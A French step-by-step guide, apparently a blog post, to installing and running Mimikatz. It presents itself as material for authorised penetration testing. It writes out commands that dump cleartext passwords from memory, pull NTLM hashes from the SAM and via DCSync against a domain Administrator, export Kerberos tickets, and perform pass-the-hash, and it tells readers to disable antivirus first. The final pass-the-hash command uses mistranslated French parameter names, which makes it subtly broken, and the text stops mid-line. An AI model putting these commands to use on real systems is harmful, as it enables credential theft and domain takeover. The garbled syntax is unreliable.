Introduction

Mimikatz est un puissant outil de post-exploitation conçu pour extraire de la mémoire des mots de passe en clair, des hachages, des codes PIN et des tickets Kerberos. Il est largement utilisé par les testeurs d’intrusion et les professionnels de la sécurité pour évaluer les vulnérabilités des systèmes. Ce guide fournit une approche pas à pas de l’installation et de l’utilisation de Mimikatz pour les tests de sécurité éthiques.

Avertissement : L’utilisation non autorisée de Mimikatz est illégale. Assurez-vous d’avoir l’autorisation avant de l’utiliser dans n’importe quel environnement.

Conditions préalables

Avant d’installer Mimikatz, assurez-vous que vous disposez des éléments suivants :

  • Une machine Windows(Windows 7 , 10, 11 ou versions serveur)
  • Des privilèges d’administration
  • Windows Defender et tout autre logiciel antivirus désactivé (Mimikatz est souvent signalé comme un logiciel malveillant)

Téléchargement de Mimikatz

Mimikatz est un outil open-source disponible sur GitHub. Pour le télécharger :

  1. Ouvrez un navigateur web et allez sur https://github.com/gentilkiwi/mimikatz.
  2. Cliquez sur Code > Download ZIP.
  3. Extrayez le fichier ZIP dans un dossier de votre choix.

Vous pouvez également cloner le dépôt à l’aide de Git :

 git clone https://github.com/gentilkiwi/mimikatz.git

Exécution de Mimikatz

Étant donné que Mimikatz nécessite des privilèges administratifs, suivez les étapes suivantes pour l’exécuter :

  1. Ouvrez l’invite de commande ou PowerShell en tant qu’administrateur.
  2. Naviguez jusqu’au dossier dans lequel vous avez extrait Mimikatz :
    cd path\to\mimikatz\x64
  3. Exécutez Mimikatz :
    mimikatz.exe
  4. Vous devriez voir une interface de ligne de commande avec l’invite mimikatz #.

Commandes de base de Mimikatz

1. Vérifier les privilèges du système

Avant d’extraire les informations d’identification, vérifiez que vous disposez des privilèges suffisants :

privilege::debug

En cas de succès, vous devriez voir : Privilège '20' OK

2. Extraction des mots de passe de la mémoire

Pour extraire les mots de passe en clair de la mémoire, utilisez :

sekurlsa::logonpasswords

Cela affichera le nom d’utilisateur, le domaine et les mots de passe en clair s’ils sont disponibles.

3. Extraction des hachages NTLM

Les hachages NTLM peuvent être utilisés pour des attaques de type “pass-the-hash”. Pour les extraire, exécutez

lsadump::sam

Ou, pour les systèmes distants :

lsadump::dcsync /domain:targetdomain.com /user:Administrator

4. Extraction de tickets Kerberos

Pour extraire les tickets Kerberos du système :

sekurlsa::tickets /export

Cela permet d’exporter des fichiers .kirbi, qui peuvent être utilisés dans des attaques de type “pass-the-ticket”.

5. Attaque de type “pass-the-hash

Pour s’authentifier avec un hachage NTLM au lieu d’un mot de passe :

sekurlsa::pth /utilisateur:Administrateur /domaine:exemple.com /ntlm: